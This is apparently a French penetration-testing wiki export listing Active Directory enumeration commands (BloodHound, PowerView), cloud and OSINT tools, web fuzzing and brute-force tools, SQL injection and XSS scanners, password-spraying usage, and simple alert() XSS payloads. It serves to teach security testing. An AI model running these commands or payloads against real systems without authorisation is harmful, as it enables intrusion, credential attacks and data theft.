[https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/](https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/#list-all-users)

## PingCastle

PingCastle est un outil multifonction permettant d'auditer un environnement d'Active Directory.

ressource: <https://www.pingcastle.com/>

## BloodHound

BloodHound utilise la théorie des graphes pour révéler les relations cachées et souvent involontaires au sein d'un environnement Active Directory ou Azure. Les attaquants peuvent utiliser BloodHound pour identifier facilement des chemins d'attaque très complexes qui seraient autrement impossibles à identifier rapidement.

ressource: <https://github.com/BloodHoundAD/BloodHound>

### Remote bloodhound ingestion with bloodhound-python

*`$ bloodhound-python -u <username> -p <password> -d <domain> -v --zip -c All -dc <Domain Controller> -ns <Target IP>`*

### RustHound

RustHound est un ingestor pour BloodHound écrit en Rust

Exemple d'utilisation:

<pre><code><strong>$ rusthound -d domain.local -u '&#x3C;username>' -p '&#x3C;password>' -o /tmp/demo -z
</strong></code></pre>

ressource: <https://github.com/OPENCYBER-FR/RustHound>

### Local bloodhound ingestion with SharpHound

Exemple d'utilisation:

*`> SharpHound.exe --CollectionMethod all -d <domain>`*

## Impacket - GetADUsers.py

GetADUsers.py est un code exemple de la suite Impacket permettant d'énumérer les utilisateurs d'un domaine avec les identifiant d'un utilisateur du domaine.&#x20;

Exemple d'utilisation:

*`$ python3 GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>`*

ressource: <https://github.com/SecureAuthCorp/impacket/tree/master/examples>

## rpcclient

rpcclient est un utilitaire initialement développé pour tester la fonctionnalité MS-RPC dans Samba lui-même.

Voir la section Hacking protocols pour plus d'informations sur comment l'utiliser dans le cadre de tests d'intrusion.

ressource: <https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html>

## AD Explorer

Active Directory Explorer (AD Explorer) est un visualiseur et un éditeur avancés d'Active Directory (AD). Vous pouvez utiliser AD Explorer pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés et les attributs des objets sans avoir à ouvrir de boîtes de dialogue, modifier les autorisations, afficher le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter.

ressource: <https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer>

### Utiliser AD explorer pour bloodhound

Il est possible de faire un snapshot dans AD Explorer en allant dans File > Create snapshot...

Cela vous permettra de créer un snapshot du Domaine en ".dat" que vous devrez alors convertir dans un format compatible avec BloodHound.

#### ADExplorerSnapshot

ADExplorerSnapshot est un outil capable de convertir ce fichier .dat en .json importable dans BloodHound.

Exemple d'utilisation:

*`$ python3 ADExplorerSnapshot.py <snapshot.dat>`*

ressource: <https://github.com/c3c/ADExplorerSnapshot.py>

## ADModule

Module PowerShell ActiveDirectory signé par Microsoft.

ressource: <https://github.com/samratashok/ADModule>

## Enumération d'Active Directory avec Powerview

### Enumération du domaine

```powershell
> Get-NetDomain  #Donne des informations sur le domaine courrant

Forest                : target.com
DomainControllers     : (DC-01.target.com)
Chilldren             :
DomainMode            :
...

> Get-NetDomain -domain <domain>  #Donne des infomations sur un domaine spécifique

> (Get-DomainPolicy).”system access” #Permet de relever les politiques du domaine courant

PasswordConplexity       <1>
MaximumPasswordAge       <42>
MinimumPasswordLength    <8>
...

> Get-NetDomainController  #Donne des informations sur le controleur de domaine courant

Forest            : target.com
CurrentTime       : ...
OSVersion         : Windows Server 2012 R2 Standard Evaluation
Roles             : (...)
...
```

### Enumération des utilisateurs

```powershell
> Get-NetUser  #Donne l'ensemble des utilsateurs du domaine courant avec leurs informations

> Get-UserProperty –Properties pwdlastset  #Donne la date de la derniere màj de mot de passe faite pour chaque utilisateur

# Certains administrateurs font parfois l'erreur de mettre le mot de passe d'un compte utilisateur du domaine dans le champ description de celui-ci (souvent lors de création de compte test).
# Cette commande vous permettra de rechercher correspondance avec un mot clé (ici pass) dans le champs Description de chaque utilisateur
> Find-UserField -SearchField Description –SearchTerm “pass”

samaccountname                        Description
--------------
UserTest                              password P@ssw0rd123


```

### Enumération des ordinateurs

```powershell
> Get-NetComputer  #Donne la liste des ordinateurs dans le domaine courant

> Get-NetComputer –OperatingSystem "Windows Server 2012"  #Permet de rechercher les ordinateurs avec un OS spécifique

> Get-NetComputer -Ping  #Donne tous les ordinateurs actifs dans le domaine courant

```

### Enumération des groupes

```powershell
> Get-NetGroup  #Donne l'ensemble des groupes du domaine courant

> Get-NetGroup *admin*  #Donne l'ensemble des groupes contenant "admin" dans leur nom

> Get-NetGroupMember -GroupName "Domain Admins" #Donne l'ensemble des utilisateurs du groupe spécifié

> Get-NetGroup –UserName "<username>"  #Inversement, donne l'ensemble des groupes auxquels appartient l'utilisateur spécifié


```

### Enumération par machine

```powershell
> Get-NetLocalGroup –ComputerName <computername> #Donne la liste des utilisateurs locaux sur la machine (nécessite des droits administrateur)

> Get-NetLoggedon –ComputerName <computername>  #Donne les utilisateur actuellement connectés à une machine spécifique

> Get-LastLoggedOn –ComputerName <computername>  #Donne le dernier utilisateur qui s'est connecté à la machine

```

### Partages

```powershell
> Invoke-ShareFinder #Permet de trouver les partages présents sur l'hôte et dans le domaine courant
```

### GPO

```powershell
> Get-NetGPO -ComputerName <computername> #Donne la liste des GPO sur une machine spécifique

> Find-GPOComputerAdmin –Computername <computername> #Utilisez cette commande pour rechercher des utilisateurs disposant de droits d'administrateur local sur la machine

> Find-GPOLocation -UserName <username> #Utilisez cette commande pour rechercher tous les ordinateurs sur lesquels l'utilisateur spécifié dispose de droits d'administrateur local dans le domaine actuel via le GPO appliqué.

> Get-NetOU  #Utilisez cette commande pour obtenir toutes les unités d'organisation pdu domaine actuel.
```

### Domain Trust Enumeration

Dans un environnement AD, la confiance est une relation entre deux domaines ou forêts qui permet aux utilisateurs d'un domaine ou d'une forêt d'accéder aux ressources de l'autre domaine ou forêt.

Par exemple, un utilisateur du domaine A peut demander ou accéder aux ressources du domaine B (comme interroger les ordinateurs du domaine B).

Direction des approbations :&#x20;

* &#x20;Approbation bidirectionnelle (bidirectionnelle) : les utilisateurs du domaine A peuvent accéder aux ressources du domaine B et vice versa.
* &#x20;Confiance unidirectionnelle (Unidirectionnelle) : Les utilisateurs du domaine de confiance peuvent accéder aux ressources du domaine de confiance mais l'inverse n'est pas vrai.

Transitivité des confiances :&#x20;

* Confiance parent-enfant : Elle est créée automatiquement entre le nouveau domaine et le domaine qui le précède dans la hiérarchie de l'espace de noms, chaque fois qu'un nouveau domaine est ajouté dans une arborescence. Par exemple, usa.target.com est un enfant de target.com). Cette confiance est toujours transitive dans les deux sens.
* Approbation de racine d'arborescence : elle est créée automatiquement chaque fois qu'une nouvelle arborescence de domaine est ajoutée à une racine de forêt. Cette confiance est toujours transitive dans les deux sens.&#x20;

Approbations externes : entre deux domaines dans des forêts différentes lorsque les forêts n'ont pas de relation d'approbation. Il peut être unidirectionnel ou bidirectionnel et non transitif.&#x20;

En tant que red teamers, il est important d'énumérer les approbations de domaine afin d'étendre la surface d'attaque.

```powershell
> Get-NetDomainTrust  #Utilisez cette commande pour obtenir une liste de toutes les approbations de domaine pour le domaine actuel

> Get-NetForest  #Utilisez cette commande pour obtenir des détails sur la forêt actuelle.

> Get-NetForest -Forest <forestname>  #Donne des détails sur une forêt spécifique

> Get-NetForestDomain  #Utilisez cette commande pour obtenir tous les domaines de la forêt actuelle.

> Get-NetForestCatalog  #Utilisez cette commande pour obtenir tous les catalogues globaux de la forêt actuelle.

> Get-NetForestTrust  #Utilisez cette commande pour mapper les relations de confiance d'une forêt.


```

### Recherche d'élévation

```powershell
> Find-LocalAdminAccess #Utilisez cette commande pour rechercher toutes les machines du domaine actuel sur lesquelles l'utilisateur actuel dispose d'un accès administrateur local.

> Invoke-EnumerateLocalAdmin #Utilisez cette commande pour rechercher des administrateurs locaux sur toutes les machines du domaine (nécessite des privilèges d'administrateur sur des machines non DC).

> Invoke-UserHunter #Utilisez cette commande pour rechercher des ordinateurs sur lesquels un domaine s'est connecté

> Invoke-UserHunter -UserName "<username>" #Utilisez cette commande pour rechercher des ordinateurs sur lesquels un utilisateur spécifique a des sessions

> Invoke-UserHunter -CheckAccess #Utilisez cette commande pour rechercher des ordinateurs sur lesquels un administrateur de domaine est connecté et auxquels l'utilisateur actuel a accès
```

### Enumération des ACL

```powershell
> Get-ObjectAcl -SamAccountName "<grouname>" -ResolveGUIDs #Utilisez cette commande pour énumérer les ACL du groupe spécifié

> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}  #tilisez cette commande pour voir si un utilisateur dispose de droits de modification sur un objet de stratégie de groupe.

> Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs -RightsFilter "ResetPassword" #Utilisez cette commande pour vérifier si l'utilisateur spécifié dispose de l'autorisation réinitialiser le mot de passe.


```


# Cloud

## Cloud Enum

Cloud Enum est un outil d'énumération de ressources multi-cloud (AWS, Azure et GCP)

Exemple d'utilisation:

*`$ python3 cloud_enum.py -k company`*

## S3enum

S3enum est un outil d'énumération d'Amazon S3 buckets rapide et furtif pour les pentesters.

Exemple d'utilisation:

*`$ s3bucket -wordlist <wordlist> -suffixlist <suffix> -threads 10 <target>`*

ressource: <https://github.com/koenrh/s3enum>

## Lazy S3

Lazy S3 permet de bruteforce les AWS S3 pour un nom d'entreprise donné.

Exemple d'utilisation:

*`$ ruby lazys3.rb <company>`*

ressource: <https://github.com/nahamsec/lazys3>

## Sandcastle

Sandcastle est un script Python permettant d'énumérer des buckets AWS S3.

Exemple d'utilisation:

*`$ python3 sandcastle.py -t <target>`*

ressource: <https://github.com/0xSearches/sandcastle>

## AWS\_PWN

AWS\_PWN est une collection de scripts pour des tests d'intrusions sur AWS

ressource: <https://github.com/dagrz/aws_pwn>

## PACU

PACU est un framework d'exploitation d'environnement AWS.

ressource: <https://github.com/RhinoSecurityLabs/pacu>

## Cloudfrunt

Cloudfrunt est un outil permettant d'identifier les domaines CloudFront mal configurés.

Exemple d'utilisation:

```
$ python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt
```

ressource: <https://github.com/MindPointGroup/cloudfrunt>

## WeirdAAL

Le projet WeirdAAL a deux objectifs :

1. Répondre à la question que puis-je faire avec cette paire de clés AWS \[blackbox] ?
2. Etre un référentiel de fonctions utiles (offensives et défensives) pour interagir avec les services AWS.

ressource: <https://github.com/carnal0wnage/weirdAAL>

## Cloudmare

Cloudmare est un outil simple pour trouver les serveurs d'origine des sites Web protégés par Cloudflare, Sucuri ou Incapsula avec une mauvaise configuration DNS.

Exemple d'utilisation:

*`$ python cloudmare.py -u target.com`*

ressource: <https://github.com/MrH0wl/Cloudmare>


# Autre

## Site

* <https://www.sipri.org/databases/>:  bases de données du [STOCKHOLM INTERNATIONAL\
  PEACE RESEARCH INSTITUTE](https://www.sipri.org/) (bases de données de transfert/production d'armes, opérations, embargos...)
* <https://start.me/p/QRENnO/databases>: Bases de données.
* <https://warsearcher.com/shipsearcher/>: Base de données de navires de guerres.
* <https://worldpostalcode.com/>: base de données de code postal par pays.
* <https://scholar.google.com/>: recherche d'articles et publications scientifiques.
* <https://www.invid-project.eu/tools-and-services/invid-verification-plugin/>: Cette boîte à outils est fournie par le projet européen InVID pour aider les journalistes à vérifier le contenu sur les réseaux sociaux
* <https://www.alltheinternet.com/>: interroge les principaux moteurs de recherche, y compris les sites d'achat comme Amazon et eBay.
* <https://www.faganfinder.com/>: interroge les principaux moteurs de recherche ainsi que les moteurs de réponse et les sites et blogs de questions-réponses.
* <https://github.com/Micro0x00/Dark-Web-Full-Guide>: Guide Dark web.

Geo OSINT:

* <https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/>: GeoINT tips and tricks.
* <https://www.suncalc.org/>: calcul de position du soleil.
* <https://identify.plantnet.org/fr>: Identifier une plante.
* <http://www.geopatronyme.com/>: base de données des patronymes recensés en france par zone géographique.
* [https://www.skydb.net/](https://www.skydb.net/city/?id=468307133): BDD de buildings.
* <https://www.vindecoder.net/>: Moteur de recherche numéro VIN.
* <https://www.autodna.com/>: Moteur de recherche numéro VIN.
* [https://vindecoder.pl/](https://vindecoder.pl/fr): Moteur de recherche numéro VIN.
* <https://carnet.ai/>: Reconnaissance voitures.
* <https://voiture.car2db.com/>: BDD voitures et données techniques.
* <https://www.thetrainline.com/>: Recherche train par numéro / gare.

## Guide pour une connexion sécurisé au DarkWeb

<https://medium.com/the-sleuth-sheet/how-to-safely-access-the-darknet-for-threat-research-89047bfc3cbb>

## :electric\_plug: Géolocaliser une photo en intérieur

Il y a 14 types différents de prises dans le monde, trouver la forme d'une d'entre elle dans une photo peut vous permettre d'avoir une première piste sur la région du monde où elle a été prise.

ressource: <https://www.iec.ch/world-plugs>

![](/files/UkvREP6DWFI89QEDCrLy)

### :flag\_gb: Royaume-Uni&#x20;

![](/files/Nd2ZI9Dy6CNf4hjqQ3AU)

### &#x20;:flag\_eu: Européens

![](/files/1Pu8jZtbo1wOiUEzDz6r)

### :flag\_br: Brésil et :flag\_za: Afrique du Sud&#x20;

![](/files/DGnJJVGVzz9e9nqa98hI)

### :flag\_il: Israël

![](/files/ANGVCGjvnHqo104pgm0g)

## TorBot

Outil d'OSINT sur Dark Web

ressource: <https://github.com/DedSecInside/TorBot>

## Pryingdeep

Outil d'OSINT dédié au deep web.

ressource: <https://github.com/iudicium/pryingdeep>

## Skytrack

Skytrack est un outil conçu pour les renseignements ouverts sur les avions. Il peut recueillir des renseignements sur les aéronefs à l’aide de diverses sources de données, générer un rapport PDF pour un aéronef donné et convertir les désignations OACI et numéro de queue.

ressource: <https://github.com/ANG13T/skytrack>


# Pentest Web

Techniques de pentest web

## Mindmap

<figure><img src="/files/e6wzAiFEZDUCf9zm1byo" alt=""><figcaption></figcaption></figure>

## Sommaire

{% content-ref url="/pages/aFlNH6LNZD9mvYRdvcR3" %}
[Brute force / Fuzzing](/pentest-web/brute-force-fuzzing)
{% endcontent-ref %}

{% content-ref url="/pages/MHHi07XmkPAdtwPQTGS9" %}
[Injections](/pentest-web/injections)
{% endcontent-ref %}

{% content-ref url="/pages/s7cLthb8VyIWnSoW2GQn" %}
[Open redirect](/pentest-web/open-redirect)
{% endcontent-ref %}

{% content-ref url="/pages/5RjiDRnEouJuDXPtZ4DU" %}
[Path Traversal / LFI / RFI](/pentest-web/path-traversal-lfi-rfi)
{% endcontent-ref %}

{% content-ref url="/pages/yYxuRNW0pBLp0ypO72hZ" %}
[Bypass](/pentest-web/bypass)
{% endcontent-ref %}

{% content-ref url="/pages/NSq71IcrcW1bROS3J5wh" %}
[Charges utiles](/pentest-web/charges-utiles)
{% endcontent-ref %}

{% content-ref url="/pages/vd2LujkBB6zKJdhESQvq" %}
[CMS (Content Management System)](/pentest-web/cms-content-management-system)
{% endcontent-ref %}

{% content-ref url="/pages/QvvN6EnHuNezcdZpvTO7" %}
[SOP bypass](/pentest-web/sop-bypass)
{% endcontent-ref %}

{% content-ref url="/pages/iVKBa0A4KMMHZ9dyPtgb" %}
[Clickjacking](/pentest-web/clickjacking)
{% endcontent-ref %}

{% content-ref url="/pages/qd1JnlQiCWDZnXUT4KXl" %}
[Insecure deserialization](/pentest-web/insecure-deserialization)
{% endcontent-ref %}

{% content-ref url="/pages/HdeMTFtyUYSqrguifYTO" %}
[Web Cache Poisoning / Deception](/pentest-web/web-cache-poisoning-deception)
{% endcontent-ref %}

{% content-ref url="/pages/NSJmDb2XmseDPrbZVOX9" %}
[HTTP Smuggling](/pentest-web/http-smuggling)
{% endcontent-ref %}

{% content-ref url="/pages/DAn0UCcmZuUXB95us105" %}
[OAuth](/pentest-web/oauth)
{% endcontent-ref %}

{% content-ref url="/pages/RQDEj4eJjVnPhzZUIDeZ" %}
[SAML](/pentest-web/saml)
{% endcontent-ref %}

{% content-ref url="/pages/m9L4GtJYgoydxR3o1grG" %}
[JSON Web Token](/pentest-web/json-web-token)
{% endcontent-ref %}

{% content-ref url="/pages/zPVDZrHvOmTJhSDAn71R" %}
[CSRF](/pentest-web/csrf)
{% endcontent-ref %}

{% content-ref url="/pages/ArsnNnRCteYNNJYeFfPG" %}
[IDOR](/pentest-web/idor)
{% endcontent-ref %}

{% content-ref url="/pages/0SQhAysNFTNGF1NUNjg0" %}
[SSRF](/pentest-web/ssrf)
{% endcontent-ref %}

{% content-ref url="/pages/GAktpj1w2JtCHGuzf8ie" %}
[Mot de passe oublié](/pentest-web/mot-de-passe-oublie)
{% endcontent-ref %}

{% content-ref url="/pages/cevYz9kZNElM0uIrSv9U" %}
[Fonctions d'achat et de facturation](/pentest-web/fonctions-dachat-et-de-facturation)
{% endcontent-ref %}

{% content-ref url="/pages/Pu5zj4OGnknDtHlqF1X1" %}
[Broken authentication / register](/pentest-web/broken-authentication-register)
{% endcontent-ref %}

{% content-ref url="/pages/LzaR4hMMCm3hZ89Oxpjf" %}
[Panneaux d'administration](/pentest-web/panneaux-dadministration)
{% endcontent-ref %}

{% content-ref url="/pages/zhyYIg3nl2ucifj7F3V9" %}
[Upload features](/pentest-web/upload-features)
{% endcontent-ref %}

{% content-ref url="/pages/wIzybFDObOenq04xs796" %}
[Broken Link Hijacking](/pentest-web/broken-link-hijacking)
{% endcontent-ref %}

{% content-ref url="/pages/0xfhoxT4uaWvZqg1O2zM" %}
[Prise de contrôle de sous-domaine](/pentest-web/prise-de-controle-de-sous-domaine)
{% endcontent-ref %}

{% content-ref url="/pages/QqIBc7LpI1uUawCOI9gj" %}
[Analyse statique](/pentest-web/analyse-statique)
{% endcontent-ref %}

{% content-ref url="/pages/lIpLNhAgVcQXzhlBpWL9" %}
[One liners](/pentest-web/one-liners)
{% endcontent-ref %}

{% content-ref url="/pages/Jj8i8khFEOZvxwqLk7F4" %}
[Misconfigurations](/pentest-web/misconfigurations)
{% endcontent-ref %}

{% content-ref url="/pages/7DLKRYiUPit1UPm5Adfc" %}
[AWS S3](/pentest-web/aws-s3)
{% endcontent-ref %}

{% content-ref url="/pages/6GJYVJiyq3hUtt8KhXnH" %}
[Captcha](/pentest-web/captcha)
{% endcontent-ref %}

{% content-ref url="/pages/S5TJcj9TLn2lXgcWBcUT" %}
[Race conditions](/pentest-web/race-conditions)
{% endcontent-ref %}

{% content-ref url="/pages/gJ7DMvuwMDh18n6GasM3" %}
[Autre](/pentest-web/autre)
{% endcontent-ref %}


# Brute force / Fuzzing

Outils dédiés au brute force (pas forcément pour le web)

## Wordlists utiles

### Asstnote

ressource: <https://wordlists-cdn.assetnote.io/data/automated/>

### OneListForAll

ressource: <https://github.com/six2dez/OneListForAll>

### Seclists

ressource: <https://github.com/danielmiessler/SecLists>

### Fuzz4bounty

ressource: <https://github.com/0xPugazh/fuzz4bounty>

### Fuzzdb

ressource: <https://github.com/fuzzdb-project/fuzzdb>

### API

ressources:&#x20;

* <https://wordlists.assetnote.io/>
* <https://github.com/hAPI-hacker/Hacking-APIs>

### Rockyou

ressource: <https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt>

### Secrets regex list

ressource: <https://github.com/h33tlit/secret-regex-list>

### Rainbow tables

ressources:&#x20;

* <https://freerainbowtables.com/>
* <https://www.rainbowcrackalack.com/>

### Quelques wordlists personnelles

ressource: <https://github.com/mathis2001/Wordlists>

### fichiers git et svn

```
/.git
/.git-rewrite
/.git/HEAD
/.git/config
/.git/index
/.git/logs/
/.git_release
/.gitattributes
/.gitconfig
/.gitignore
/.gitk
/.gitkeep
/.gitmodules
/.gitreview
/.svn
/.svn/entries
/.svnignore
```

## Dirsearch

Dirsearch est un outil de brute force de répertoires web rapide et efficace avec une wordlist par défaut très interessante.

Exemple d'utilisation:

*`$ dirsearch -u target.com -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bkp,cache,cgi,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,sql.gz,sql.zip,sql.tar,sql~,swp~,tar,gz,zip,tar.gz,tar.bz2,txt,wadl,xml --deep-recursive --force-recursive --full-url`*

ressource: <https://github.com/maurosoria/dirsearch>

## Feroxbuster&#x20;

Ferric Oxide est un outil de brute force de répertoires web rapide et efficace codé en Rust.

Exemple d'utilisation:

*`$ feroxbuster -u https://target.com/`*

ressource: <https://github.com/epi052/feroxbuster>

## Dirb&#x20;

Dirbuster est un outil ayant la même fonction.

Exemple d'utilisation:

*`$ dirb https://target.com/ <wordlist path>`*

ressource: <https://www.kali.org/tools/dirb/>

## Gobuster

Gobuster est un outil ayant principalement les mêmes fonctions codé en Go.

Exemple d'utilisation:

*`$ gobuster dir -u https://target.com/`*

ressource: <https://github.com/OJ/gobuster>

## Kiterunner

Kiterunner est un outil de reconnaissance designé pour trouver des endpoints d'API.

Exemple d'utilisation:

*`$ kr scan https://target.com/ -w routes.kite -A=apiroutes-210228:20000 -x 10 --ignore-lenght=34`*

ressource: <https://github.com/assetnote/kiterunner>

## Wfuzz

Wfuzz est un fuzzer pour le web qu'on peut utiliser pour brute force des paramètres ou sous-domaines à l'aide d'une wordlist par exemple.

Exemple d'utilisation:

*`$ wfuzz -w <wordlist path> https://target.com/FUZZ`*

ressource: <https://github.com/xmendez/wfuzz>

Exemples pour énumération de sous-domaines et CORS:

*`$ wfuzz -t 20 -hc 404 -H "Host: FUZZ.target.com" -w <wordlist> [IP SERVEUR]`*

*`$ wfuzz -w subdomains-top1million-5000.txt -u http://target.com -H: 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" --ignore-body`*

Wordlists utiles:&#x20;

<https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS>

<https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a>

## Ffuf

Ffuf est un outil codé en Go ayant la même fonction que wfuzz.

Exemple d'utilisation:

*`$ ffuf -c -w <wordlist path> -u https://target.com/FUZZ`*

ressource: <https://github.com/ffuf/ffuf>

guide détaillé: <https://www.hackingarticles.in/comprehensive-guide-on-ffuf/>

## Firefly

Firefly est un fuzzer dédié au fuzzing en black box.

Exemple d'utilisation:

*`$ firefly -u https://target.com/FUZZ -e`*

ressource: <https://github.com/Brum3ns/firefly>

## Extension burp suite Turbo intruder

L'extension Turbo intruder de burp suite est un équivalent de la fonctionnalité intruder par défaut de burp suite mais plus rapide et utilisant des codes python personnalisables

ressource: <https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988>&#x20;

## Default-http-login-hunter

Default http login hunter est un outil de brute force d'identifiants par défaut de serveurs web.

Exemple d'utilisation:

*`$ ./default-http-login-hunter.sh https://target.com/`*

ressource: <https://github.com/InfosecMatter/default-http-login-hunter>

## &#x20;Orbitaldump

Orbitaldump est un simple outil de force brute SSH distribué multi-thread écrit en Python.

Exemple d'utilisation:

*`$ python3 orbitaldump.py -u <username list> -p <password list> -h <target> --proxies`*

ressource: <https://github.com/k4yt3x/orbitaldump>

## Odin

Odin est un outil dédié au bruteforce d'AS400.

Exemple d'utilisation:

*`$ ./odin <target IP> <port> brute <wordlist>`*

ressource: <https://github.com/shellchocolat/odin>

## TREVORSpray

TREVORSpray est un outil conçu pour effectuer des attaques de type password spraying contre des environnements Microsoft (O365, OWA, ADFS...)

Exemple d'utilisation:

*`$ ./trevorspray.py -e emails-list.txt --password 'P@ssw0rd123!' --delay 15 --no-current-ip -ssh attacker@XX.XX.XX.XX attacker@XX.XX.XX.XX attacker@XX.XX.XX.XX attacker@XX.XX.XX.XX -k attacker.pem`*

ressource: <https://github.com/blacklanternsecurity/TREVORspray>


# Injections

Outils dédiés aux injections de code

## Sites:

* <https://xsshunter.trufflesecurity.com/app/#/>: Serveur dédié aux blind xss.
* <https://requestbin.com/>: Cela vous créer un domaine en m.pipedream.net puis vous permet d'analyser les requêtes http qui lui sont envoyées.
* <https://websec.ca/kb/sql_injection>: Doc complète sur les injections SQL.

## Injection de code

### Commix :&#x20;

Commix est un outil permettant de scanner et exploiter automatiquement les failles d'injection de code.

Exemple d'utilisation:

*`$ commix -u https://target.com/`*

ressource: <https://github.com/commixproject/commix>

## Injections SQL

### Sqlmap :&#x20;

Sqlmap est un outil permettant de scanner et exploiter automatiquement les failles d'injection SQL.

Exemple d'utilisation:

*`$ sqlmap -u http://target.com/`*

ressource: <https://github.com/sqlmapproject/sqlmap>

Bug bounty tips:

1. $sublist3r -d target.com | tee -a subdomains.txt
2. cat subdomains.txt |  httpx | tee -a alive.txt
3. cat alive.txt | waybackurls | tee -a urls.txt
4. gf sqli urls.txt >> possible\_sqli.txt
5. sqlmap -m sqli.txt --dbs --batch

### Ghauri:

Ghauri est un outil semblable à Sqlmap pouvant parfois compléter ses résultats et inversement.

Exemple d'utilisation:

*`$ ghauri -u https://target.com/exemple?id=1 --dbs`*

ressource: <https://github.com/r0oth3x49/ghauri>

### Atlas:

Atlas est un outil semblable à Sqlmap conçu soécialement pour contourner les filtres et WAF.

ressource: <https://github.com/m4ll0k/Atlas>

### HBSQLI:

HBSQLI est un outil de détection et d'exploitation d'injection SQL dédié spécifiquement aux en-têtes HTTP:

Exemple d'utilisation:

*`$ python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v`*

ressource: <https://github.com/SAPT01/HBSQLI>

## XSS :&#x20;

### DalFox:

DalFox est un puissant outil d'analyse XSS open source, un analyseur de paramètres et un utilitaire qui accélère le processus de détection et de vérification des failles XSS.

Exemple d'utilisation:

*`$ dalfox url https://target.com/xxx -b https://hawul.xss.ht`*

ressource: <https://github.com/hahwul/dalfox>

### Airixss:

Airixss sert à détecter d'éventuels endpoints vulnérables aux XSS durant la phase de reconnaissance.

Exemple d'utilisation:

*`$ cat endpoints.txt | airixss -payload "alert(1)"`*&#x20;

ressource: <https://github.com/ferreiraklet/airixss>

### XSpear :&#x20;

Xspear est un scanner de faille XSS.

Exemple d'utilisation:

*`$ xspear -u "https://target.com/index.php?id=123" -v 1`*

ressource: <https://github.com/hahwul/XSpear>

### XSStrike :&#x20;

XSStrike est également un scanner de faille XSS.

Exemple d'utilisation:

*`$ python3 xsstrike.py -u https://target.com/index.php?id=123`*

ressource: <https://github.com/s0md3v/XSStrike>

### Kxss

Kxss est un outil permettant de tester les paramètres d'une liste d'endpoints pour en ressortir les caractères qui sont ou non filtrés dans le but de trouver de potentielles failles XSS, c'est au pentester ensuite de tester manuellement le paramètre pour vérifier s'il est bien vulnérable.

exemple d'utilisation:

*`$ echo 'http://target.com/?name=Mathis&age=20' | kxss`*

ressource: <https://github.com/tomnomnom/hacks/tree/master/kxss>

### Extension Dom invader de Burp Suite :&#x20;

L'extension Dom invader de Burp Suite permet de tester la reflexion d'un "canary" lors de la navigation sur un site web afin de trouver des failles de type DOM XSS.

ressource: <https://portswigger.net/burp/documentation/desktop/tools/dom-invader>

## SSTI :&#x20;

### Tplmap :&#x20;

Tplmap est un outil qui permet de scanner et exploiter les failles SSTI.

Exemple d'utilisation:

*`$ ./tplmap -u https://target.com/`*

ressource: <https://github.com/epinna/tplmap>

## SSRF :&#x20;

### SSRFire :&#x20;

Un scanner de SSRF automatisé. Donnez simplement le nom de domaine cible et votre serveur et détendez-vous ! ;) A également des options pour trouver des XSS et redirections ouvertes.

Exemple d'utilisation:

*`$ ./ssrfire.sh -d target.com -s attackerserver -c cookie`*

ressource: <https://github.com/ksharinarayanan/SSRFire>

## Host header

### HostPanic

HostPanic est un outil de piratage permettant de rechercher des injections d'host header.

Exemple d'utilisation:

*`$ python3 main.py -u https://target.com/ -v`*

ressource: <https://github.com/mr-medi/HostPanic>

## Log4j

### Log4j-scan

Log4j-scan est un scanner de vulnérabilité pour log4j.

Exemple d'utilisation:

*`$ python3 log4j-scan.py -u https://target.com/`*

ressource: <https://github.com/fullhunt/log4j-scan>

### Spring4shell-scan

Spring4shell-scan est un scanner de vulnérabilité spring4shell.

Exemple d'utilisation:

*`$ python3 spring4shell-scan.py -u https://target.com/`*

ressource: <https://github.com/fullhunt/spring4shell-scan>

## Extension Burp suite Hack Bar

L'extension Hack Bar de Burp suite permet de coller des payloads de toutes sortes directement dans l'onglet repeater afin de gagner du temps sur l'écriture de ceux-ci.


# XSS

Cross-site scripting

## Sites

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>
* <https://gmsgadget.com/>
* <https://sonarsource.github.io/mxss-cheatsheet/examples/>

## Mindmap

<figure><img src="/files/b3FKdrhtqYmPulQfkIg1" alt=""><figcaption></figcaption></figure>

## Quelles possibilités pour un individu malveillant ?

* Usurper l'identité ou se faire passer pour l'utilisateur victime.
* Réaliser une action que l'utilisateur est capable d'effectuer.
* Lire chaque données auxquelles un utilisateur peut accéder
* Voler les identifiants d'un utilisateur.
* Réaliser des attaques de défacement sur le site web.
* Injecter des fonctions de trojan dans le site web.&#x20;

## Les types de XSS

### Stored XSS

On appel XSS stockée un payload de Cross-site scripting qui peut-être enregistré dans le serveur et pouvant donc impacter tous les utilisateurs visitant le site web.

Ce type de XSS est la plus dangereuse du fais du nombre d'actions nécessaires côté attaquant (1 action) et du potentiel nombre élevé de victimes.

#### Exemple

&#x20;Utiliser le username \<img src=x onerror=alert(document.domain)> qui sera affiché dans plusieurs pages du site.

### Reflected XSS

On appel XSS reflété un payload de Cross-Site Scripting stocké dans les données envoyées du navigateur au serveur mais que le serveur ne stock pas. Ce type de XSS est notamment utilisé dans des campagnes de phishing car elle nécessite une action de la victime.

#### Exemple

```html
<input type="search" value="what is XSS ?" />
```

```html
<input type="search" value="abc"/><script>alert(document.domain)<script>" />
```

```
https://target.com/search?q=abc"/><script>alert(document.domain)<script>
```

### Self XSS

On parle de Self XSS lorsqu'un attaquant exploite une vulnérabilité qui requière un contexte particulier nécessitant des changement manuels. La seule personne pouvant être affecté par cette XSS étant donc lui-même.

{% hint style="info" %}
